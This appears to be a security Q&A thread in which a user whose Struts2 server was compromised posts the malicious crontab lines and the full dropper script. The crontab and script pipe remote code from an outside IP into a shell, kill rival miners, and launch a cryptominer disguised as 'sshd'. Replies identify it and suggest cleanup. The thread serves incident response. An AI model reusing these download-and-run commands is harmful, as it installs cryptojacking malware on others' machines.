Can someone help understand what exactly is being done through this attack. I was using Struts2.3 in Jboss5 environment. I had some crontabs installed, which went missing instead these two lines are seen in crontab.

#*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
#*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh

Below is the script found in the logo.jpg file which is got through 'wget' from 91.230.47.40

#!/bin/sh
rm -rf /var/tmp/jmpmxfyhiz.conf
ps auxf|grep -v grep|grep -v xxtyligbex|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "jmpmxfyhiz"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "xxtyligbex" -e "tmbllmjcex" -e "pclfzagbkh" -e "dqpuewpvxz" -e "gzvcdujihq" -e "bevgesdhbs"|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/xxtyligbex.conf
rm -rf /var/tmp/xxtyligbex.conf
curl -o /var/tmp/xxtyligbex.conf http://91.230.47.40/icons/kworker.conf
wget -O /var/tmp/xxtyligbex.conf http://91.230.47.40/icons/kworker.conf
chmod 777 /var/tmp/sshd
rm -rf /var/tmp/sshd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/sshd http://91.230.47.40/icons/kworker
wget -O /var/tmp/sshd http://91.230.47.40/icons/kworker
else
curl -o /var/tmp/sshd http://91.230.47.40/icons/kworker_na
wget -O /var/tmp/sshd http://91.230.47.40/icons/kworker_na
fi
chmod +x /var/tmp/sshd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
sysctl -w vm.nr_hugepages=`$num`
nohup ./sshd -c xxtyligbex.conf -t `echo $cores` >/dev/null &
nohup ./sshd -c xxtyligbex.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

Kindly help me to understand what is being done through this. Also help me remove the possibility of any malware being installed in my server. To cover the vulnerability I have moved my projects to Struts 2.5. Still the crontab keeps coming back even if I remove them.

  • We cannot tell you how you were breached from the contents of a script you got after the breach – schroeder Jun 27 '17 at 10:07
  • To avoid the crontab, you can include the user in /etc/cron.d/cron.deny – Miguel Lopez Jun 28 '17 at 14:59
  • @MiguelLopez Insufficient. The struts2 vulnerability exposes the shell for command injection. A better safeguard would be to change the shell to /sbin/nologin. – kubanczyk Jul 24 '17 at 16:07

The descibed actions install a "kworker" tool on your server, which seems to be a bitcoin miner, according to Virustotal.

Since the records appear in /etc/crontab file, most likely you have installed a package with tojan on your system.

To solve this issue, I would recommend reinstalling OS on your server, as the box has been already owned by attackers and they might have installed other malware as well.

  • Reinstalling OS is not a option possible for me, any other work around? – Anirudh shetty Jun 28 '17 at 9:07
  • You will need to identify this malware on your server and remove it along with any other possible backdoors. You can try using antivirus for that, but it does not guarantee that you will find and clean everything. – Valery Marchuk Jun 28 '17 at 10:16

I have recently seen a similar attack. Here's what to do:

Find the web-shell... it is most likely one of those: https://github.com/tennc/webshell/tree/master/php/wso so a command like 'find / -iname "wso.php" -type f' should help you finding it. Also there should be an index.html and an up-loader called "ajis.phtml" or similar in that directory. Remove those files. Remove files in "/var/tmp" that is where the malicious sshd file and the config for the mining pool lies. Update Struts, reboot and that's it...

obviously remove the cronjobs...

cheers

  • Did not find the mentioned files using the find command. /var/tmp also is empty – Anirudh shetty Jun 28 '17 at 9:06

protected by Community Jun 30 '17 at 15:16

Thank you for your interest in this question. Because it has attracted low-quality or spam answers that had to be removed, posting an answer now requires 10 reputation on this site (the association bonus does not count).

Would you like to answer one of these unanswered questions instead?

Not the answer you're looking for? Browse other questions tagged or ask your own question.